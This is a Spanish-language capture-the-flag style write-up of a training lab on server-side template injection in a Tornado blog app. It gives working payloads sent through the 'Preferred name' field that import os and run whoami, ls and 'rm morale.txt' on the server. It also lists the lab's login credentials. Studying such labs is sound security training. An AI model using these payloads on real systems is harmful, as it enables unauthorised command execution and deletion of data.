Entrada

SSTI Lab 2

SSTI Lab 2

Skills

  • Basic server-side template injection (code context)

Certificaciones

  • eWPT
  • eWPTXv2
  • OSWE
  • BSCP

Descripción

Este laboratorio es vulnerable a un Server Side Template Injection debido a la forma insegura en que utiliza una plantilla de Tornado. Para resolver el laboratorio, hay que revisar la documentación de Tornado para descubrir cómo ejecutar comandos y luego eliminar el archivo morale.txt del directorio personal de Carlos. Podemos iniciar sesión en nuestra propia cuenta utilizando las siguientes credenciales: wiener:peter


Resolución

Al acceder a la web nos sale esto

Pulsamos en My account y nos logueamos usando las credenciales wiener:peter

Al loguearnos vemos esto

Si nos metemos en cualquier artículo veremos que podemos comentar

En la parte de My account cambiamos el Preferred name

El nombre en el chat también cambia

Si capturamos la petición de cambio de nombre en Preferred name vemos que se está enviando un objeto

Hacemos referencia a una propiedad del objeto inexistente

1
blog-post-author-display=user.NO_EXISTE&csrf=IXe3uTQJV2yzx6Rqz6N0EbMOf8ZkMUQ6

Si nos dirigimos a la parte de las publicaciones obtendremos un error mediante el cual podemos identificar el template que se está usando

Nos dirigimos a hacktricks https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#tornado-python, probamos los payload para esta plantilla y vemos que funciona

1
blog-post-author-display={{7*7}}&csrf=IXe3uTQJV2yzx6Rqz6N0EbMOf8ZkMUQ6

Nos vamos a https://www.tornadoweb.org/en/stable/guide/templates.html y observamos que los objetos se cargan entre {{ }}

Enviamos este payload

1
blog-post-author-display=}}{% import os %}{{os.system('whoami')&csrf=IXe3uTQJV2yzx6Rqz6N0EbMOf8ZkMUQ6

Obtenemos este error

Probamos este payload en el que hacemos referencia al objeto user

1
blog-post-author-display=user.name}}{% import os%}{{os.system('ls')&csrf=IXe3uTQJV2yzx6Rqz6N0EbMOf8ZkMUQ6

Vemos que se ha listado el archivo morale.txt

Borramos el archivo morale.txt y resolvemos el laboratorio

1
blog-post-author-display=user.name}}{% import os%}{{os.system('rm morale.txt')&csrf=IXe3uTQJV2yzx6Rqz6N0EbMOf8ZkMUQ6
Esta entrada está licenciada bajo CC BY 4.0 por el autor.